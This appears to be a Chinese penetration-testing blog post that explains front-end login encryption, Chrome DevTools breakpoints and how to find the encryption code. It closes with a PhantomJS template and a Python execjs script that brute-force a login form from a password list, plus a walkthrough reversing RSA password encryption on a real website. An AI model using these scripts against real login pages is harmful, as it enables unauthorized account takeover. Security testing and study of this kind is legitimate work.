复制代码

37.前台js登陆加密分析

开篇

由于现在的登陆接口如果明文传输的话,容易被暴力破解,越来越多的网站选择了前台js加密的方式,像这样:

或者这样:

 

枯了,对渗透造成一定的影响

本篇文章将系统的讲述使用Python对前台js加密爆破的方法。

加密方式

对称加密

什么是对称加密

对称加密就是指,加密和解密使用同一个密钥的加密方式。

对称加密的过程

发送方使用密钥将明文数据加密成密文,然后发送出去,接收方收到密文后,使用同一个密钥将密文解密成明文读取。

常见对称加密算法

AES,DES,3DES,RC4,RC5...

对称加密算法的不足

由于对称加密的加密和解密使用的是同一个密钥,所以对称加密的安全性就不仅仅取决于加密算法本身的强度,更取决于密钥是否被安全的保管,因此加密者如何把密钥安全的传递到解密者手里,就成了对称加密面临的关键问题。

非对称加密

什么是非对称加密

非对称加密算法需要两个密钥:公开密钥(public key)和 私有密钥(private key)。

公开密钥与私有密钥是一对,如果用公开密钥对数据进行加密,只有用对应的私有密钥才能解密;如果用私有密钥对数据进行加密,那么只有用对应的公开密钥才能解密。因为加密和解密使用的是两个不同的密钥,所以这种算法叫作非对称加密算法。

非对称加密的过程

  • A要向B发送信息,A和B都要产生一对用于加密和解密的公钥和私钥。
  • A的私钥保密,A的公钥告诉B;B的私钥保密,B的公钥告诉A。
  • A要给B发送信息时,A用B的公钥加密信息,因为A知道B的公钥。
  • A将这个消息发给B(已经用B的公钥加密消息)。
  • B收到这个消息后,B用自己的私钥解密A的消息,其他所有收到这个报文的人都无法解密,因为只有B才有B的私钥。
  • 反过来,B向A发送消息也是一样。

常见的非对称加密算法

RSA,ECC,DSA...

单向散列函数

单向散列函数的特点

  • 不管明文多长,散列后的密文定长
  • 明文不一样,散列后结果一定不一样
  • 散列后的密文不可逆
  • 一般用于校验数据完整性、签名 sign
  • 由于密文不可逆,所以后台无法还原,也就是说他要验证,会在后台以跟前台一样的方式去重新签名一遍。也就是说他会把源数据和签名后的值一起提交到后台。所以我们要保证在签名时候的数据和提交上去的源数据一致,这种算法特喜欢在内部加入时间戳

单向散列函数常见算法

MD5,SHA1,SHA256,SHA512,HmacMD5...

其他加密

BASE64

  • 所有的数据都能被编码为只用65个字符就能表示的文本。
    标准的Base64每行为76个字符,每行末尾添加一个回车换行符(\r\n)。不论每行是否满76个字符,都要添加一个回车换行符。
  • 65字符:A~Z a~z 0~9 + / =
    URL Base64算法中,为了安全,会把 + 替换成 - ,把 / 替换成 _
    = 有时候用 ~ 或 . 代替
  • Base64的应用
    密钥,密文,图片,数据简单加密或者预处理
  • Base64编码解码与btoa、atob

HEX

  • 二进制数据最常用的一种表示方式。
  • 用0-9 a-f 16个字符表示。每个十六进制字符代表4bit。也就是2个十六进制字符代表一个字节。
  • 在实际应用中,尤其在密钥初始化的时候,一定要分清楚自己传进去的密钥是哪种方式编码的,采用对应方式解析,才能得到正确的结果

如何使用chrome浏览器调试js

断点调试

代码断点

1.打开调试工具DevTools(F12)。

2.点击 Sources 选项卡,来查看当前加载的js代码

3.找到需要代码断下的地方,在左侧行号处点击,会出现一个蓝色的图标

4.重新对页面发起请求,当代码执行到这一行就会暂停。

条件断点

除了普通的断点外,还可以使用条件断点,不过只有在条件为真时才会暂停。

1.到需要代码断下的地方,右键点击选择 add conditional breakpoint 

2.在弹出的输入框中,输入条件语句,确定后,行号处会变成橙色

管理代码断点

断点多了,有时候自己也乱。这个时候可以在右侧的 Breakpoints窗格管理断点,这里显示每个断点对应的行号和代码。

1.点击断点前的复选框可以禁用该断点。

2.右键单击某个条目,可以呼出菜单以删除该断点,取消激活所有断点,禁用所有断点或删除所有断点,删除除此断点外的其他断点。其中取消激活所有断点会指示DevTools忽略所有代码行断点,但也要保持其启用状态,以便它们在重新激活它们时处于与之前相同的状态。

3.单击断点其他位置,可以联动到该代码在编辑器的位置,并且背景会标黄。

DOM断点

有时候可能需要在DOM节点发生改变的时,对代码暂停。这是就可以设置DOM更改断点。

1.切换到 Elements 选项卡

2.右键点击需要设置断点的元素。

3.将鼠标移到 Break on 上,然后选择 “子树修改”,“属性修改” 或 “节点删除”。

三种断点类型解释:

  • 子树修改。当删除或添加当前所选节点的子节点或更改子节点的内容时触发。未在子节点属性更改或当前所选节点的任何更改上触发。
  • 属性修改:在当前选定的节点上添加或删除属性时或属性值更改时触发。
  • 节点删除:删除当前选定的节点时触发。

XHR/Fetch断点

这里先介绍一下什么是XHR请求:

XHR(XMLHttpRequest)是AJAX的基础,用于在后台与服务器交换数据。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新。

如需将请求发送到服务器,我们使用 XMLHttpRequest 对象的 open() 和 send() 方法

如果要在XHR请求的时候,对包含指定字符串的URL进行中断,可以使用此断点。DevTools暂停XHR调用的代码行 send()。 (Fetch也适用)

1.切换到 Sources 选项卡,展开 XHR/Fetch Breakpoints 窗格。

2.点击右侧的加号,添加断点的条件

3.在弹出的输入框输入URL包含的字符串,回车,包含这段字符串的URL,在发出请求的时候,DevTools就会暂停。注意,如果输入为空,将对任何请求进行暂停

事件监听断点

如果要暂停事件触发后运行的事件监听器代码,可以使用事件监听器断点。

1.切换到 Sources 选项卡,展开 Event Listener Breakpoints 窗格

2.在事件列表里选择需要监听的事件类型。比如常用的 Mouse 下的 click 事件。

异常断点

如果要在抛出捕获或未捕获的异常的代码上暂停,那么可以使用异常断点。

1.切换到 Sources 选项卡,点击 暂停异常 按钮,启用后会变成蓝色

2.如果除了未捕获的异常之外还要暂停捕获的异常,请选中 暂停捕获异常 复选框。

步进执行代码

代码暂停后,我们需要手动控制代码的执行,以方便排查问题。如下图从左往右依次是

恢复执行,跳过下一个函数,跳入下一个函数,跳出下一个函数,逐步执行下一行。

恢复执行

1.有时候会觉得逐步执行代码很乏味,这时可以在您觉得可能出问题的代码处打断点,然后点击恢复执行按钮。这样代码就会跳到下一个断点处。

2.除了这个方法,还可以右键单击觉得出问题的代码处,点击Continue to Here (继续到此处)。DevTools就会运行到改行,然后暂停。

3.点开恢复执行按钮右下角的小三角,可以点击强制恢复执行,这样就能无视后面的断点,强行执行脚本。

跳过,跳入,跳出,逐步执行

1.如果觉得代码中调用的某个函数是可信任的,这个时候就可以在代码执行到这行时,点击跳过按钮。

2.如果代码执行到某行调用了某个函数,可以点击跳入这个函数,继续执行。

3.如果不想继续查看调用函数的内部代码,可以点击跳出按钮,回到调用该函数的主流程中。

4.如果不知道哪里出了问题,希望一行行的查找问题,这个时候可以点击逐行执行按钮,这样代码就会按照执行逻辑一行一行的执行。

编辑脚本

有时候修复错误的时候,需要对JS代码进行一些修改。其实有些简单的修改无需在IDE中修改了代码然后再重新加载页面,查看效果。您可以在DevTools中直接编辑脚本。

1.在 Sources 选项卡中的打开需要修改的文件。

2.修改代码,按Ctrl+ S进行保存。这样就将整个JS文件修补到Chrome的JS引擎中了。(注意修改完后不要刷新页面)。

压缩脚本格式化

有时候一些生产环境的文件都是经过压缩的,这样不利于断点调试代码。这个时候可以点击格式化按钮将代码格式化后再进行调试。

 

查看当前执行上下文

在某行代码上暂停时,使用 Scope 窗格可以查看当前执行上下文。

1.双击属性值,可以进行更改。

2.不可枚举的属性显示为灰色。

查看当前调用堆栈

在某行代码上暂停时,使用 Call stack 窗格可以查看此时的调用堆栈。

1.单击某一个条目可以跳转到调用该函数的代码行。蓝色箭头表示DevTools当前正在突出显示的函数。

2.右键点击某个条目,可以选择复制堆栈跟踪。将当前调用堆栈复制到剪切板。

代码片段

 如果发现自己在控制台中反复运行相同的调试代码,就可以考虑使用 Snippets(代码片段)。

1.打开 Sources 选项卡,切换到 Snippets 标签

2.点击 New Snippet 可以新建一个代码片段,编辑代码,按Ctrl+S保存更改,按Ctrl+Enter执行代码。

3.代码执行成功后并且再次对文件进行编辑后,可以通过右键菜单选择 Local Modifications 查看更改记录。还可以通过下方的 revert 按钮撤销本次修改。

4.github上有很多开源的 snippets ,可以保存起来,方便日后调试。

 

这一片段来源于 https://blog.csdn.net/userkang/article/details/85252644

如何去定位前台加密js代码

如何去定位前台加密的js代码才是本文的关键,毕竟只有找到js加密的代码,才能构造Python脚本去爆破

F12一键定位

F12查找处理登陆函数

F12检查元素,小箭头点击到"登陆","确定"时会触发提交表单的标签中的一个onClik属性,该属性的值正好是一个处理登陆的js函数userLogin(),像这样:

定位到这个函数后,可以去Sources文件中search一下这个处理登陆的函数

match到了三个,在最后function处找到了处理的代码

 

这个时候需要下断点来确定是否调用了这个函数

F12事件监听

通过F12还可以通过事件的监听来定位加密的方法,还是F12检查元素,小箭头点击到"登陆","确定" 时会触发一个click点击事件,像这样:

 

查找与验证加密方法与上步一样,这里不再赘述

全局搜索定位

全局搜索顾名思义就是通过查找加密的方法,或者特殊的字段来定位加密的函数,像这样

使用加密函数名搜索

md5,aes,des,rsa,encrypt,tripedes,publickey,setpubkey,setpublickey...

使用特定字段搜索

F12查看元素,着重关注id = " ",name = " ",type = " ",value = " "... 这种里面的内容

一般可以搜索 password,password: ,password = ,pwd ....

先通过Network抓取登陆请求

发现密码用 pwd:来承载,全局搜索 pwd:

成功定位到加密的地方

XHR断点定位

如果搜索加密参数,没有什么有用,或者代码过于复杂,搜索特定参数,发现根本没有,像这样:

 

可以尝试使用XHR断点进行定位,不过前提是网站使用XHR请求到服务器

切换到,控制台Source 选项卡

在XHR Breakpoints中填入 "officer/v1/user/login"

重新发送请求:

可以看到function y(t)匹配到了断点内容

发现我们需要提交的数据就在这个n.args中

在左边堆栈中查看n的事件,发现一个n.login

打开发现果然我们提交的数据通过这个函数进行加密

简单例子实践

这里推荐c0ny1大佬的环境与插件:https://github.com/c0ny1/jsEncrypter

哦呦,还不错!

这配置文件里面有各种形式的js加密,那就来正常登录分析一波!

F12查看元素,事件监听

进去查看

m控制的是前台选择的加密方式,这里m=1,选择的是hex_md5()

全局search这个方法:

跳到这个md5.js代码

如何进行爆破

使用大佬的 jsEncrypter 插件

1.安装了phantomJS

2.首先我们能够分析出加密的算法,并能够将算法的js文件引入模板脚本,并在模板脚本的js_encrypt函数体中完成对加密函数的调用

jsEncrypter_md5.js

var webserver = require('webserver');
server = webserver.create();

var host = '127.0.0.1';
var port = '1664';

// 加载实现加密算法的js脚本
var wasSuccessful = phantom.injectJs('md5.js');/*引入实现加密的js文件*/

// 处理函数
function js_encrypt(payload){
    /**********在这里编写调用加密函数进行加密的代码************/
    var newpayload;
    newpayload = hex_md5(payload);
    /**********************************************************/
    return newpayload;
}

if(wasSuccessful){
    console.log("[*] load js successful");
    console.log("[!] ^_^");
    console.log("[*] jsEncrypterJS start!");
    console.log("[+] address: http://"+host+":"+port);
}else{
    console.log('[*] load js fail!');
}

var service = server.listen(host+':'+port,function(request, response){
     try{
        if(request.method == 'POST'){
            var payload = request.post['payload'];
            var encrypt_payload = js_encrypt(payload); 
            console.log('[+] ' + payload + ':' + encrypt_payload);
            response.statusCode = 200;
            response.write(encrypt_payload.toString());
            response.close();
        }else{
              response.statusCode = 200;
              response.write("^_^\n\rhello jsEncrypt!");
              response.close();
        }
    }catch(e){
        console.log('\n-----------------Error Info--------------------')
        var fullMessage = "Message: "+e.toString() + ':'+ e.line;
        for (var p in e) {
            fullMessage += "\n" + p.toUpperCase() + ": " + e[p];
        } 
        console.log(fullMessage);
        console.log('---------------------------------------------')
        console.log('[*] phantomJS exit!')
        phantom.exit();
    }    
});

3.运行jsEncrypter_md5.js

开启burp插件jsEncrypter插件,并连接

点击Test测试phantomJS脚本能够正常加密payload

抓包尝试爆破

前期步骤都一样,到最后添加规则的时候

开始爆破

 

果然nice!

使用python的 execjs 模块

同样需要我们能够分析出加密的算法,使用Python的execjs模块调用加密js,其实原理与上面大佬的思路一样:

这里直接给出代码

import execjs
import sys
import requests
def get_js(): #执行本地js f
= open("md5.js",'r',encoding='utf-8') line = f.readline() htmlstr = '' while line: htmlstr = htmlstr+line line = f.readline() return htmlstr def get_data(data): jsstr = get_js() #调用compile()编译并加载js文件内容 ctx = execjs.compile(jsstr) #调用call()调用js中的方法与参数 return (ctx.call('hex_md5',data)) def get_file(): f = open('pass.txt','r',encoding = 'utf-8') for each in f: data1 = get_data(each.strip()) re = to_request(data1) if "successful" in re: print("password : "+each+re) def to_request(data1): url = "http://192.168.31.76/webapp/login_check.php" data = { "m":"1", "username":"admin", "password":data1, } re = requests.post(url,data=data) return re.text if __name__ == '__main__': get_file()

尝试运行:

 

 菜鸡代码,大佬勿喷!

真实环境测试

接下来实际分析一下某天下网站的加密。

尝试使用错误的密码登陆,同时F12来监控网络请求:

看到密码处那一大段复杂的加密,首先尝试来搜索关键字,比如这里是 pwd:

这里下断点来调试一下:

到 encryptedString() 这个函数处断了下来,that.password.val()提取出来的是我们输入的明文密码,这个key_to_encode猜想应该是加密用的key值,

搜索一波:

看到RSA字样感觉就稳了,RSA加密的话需要一个密钥,后面的也能对的上。继续跟进RSAKeyPair()函数,看到底是哪个js需要用到这个函数

分析可得,这个RSA.min.js就是加密的代码

尝试把加密js保存在本地,并使用python的execjs模块去调用我们构造的参数

在RSA.min.js结尾补充了这样几行代码

引入RSA加密的公钥,以及我们调用的接口函数,当然,如果可以运行js的话,直接在末尾console.log()会更清晰明白

我这里给出菜鸡python调用代码:

import execjs

def get_js():    #执行本地js
     f = open("rsa.js",'r',encoding='utf-8')
     line = f.readline()
     htmlstr = ''
     while line:
          htmlstr = htmlstr+line
          line = f.readline()
     return htmlstr

def get_data(data):
     jsstr = get_js()
     #调用compile()编译并加载js文件内容
     ctx = execjs.compile(jsstr)
     #调用call()调用js中的方法与参数
     print(ctx.call('crack',data))

if __name__ == '__main__':
     password = "joker123"
     get_data(password)

运行结果:

使用burp抓取数据包,把上面结果粘贴进去,登陆成功!

结尾

由于自己也是第一次这样分析逆向js代码,如果哪里有错,大佬们可以私信我

参考连接:

    前端js几种加密/解密方式

    http://travistidwell.com/jsencrypt/

    http://gv7.me/articles/2018/fast-locate-the-front-end-encryption-method/

 

posted @ 2019-11-02 23:44  bmjoker  阅读(3712)  评论(1编辑  收藏  举报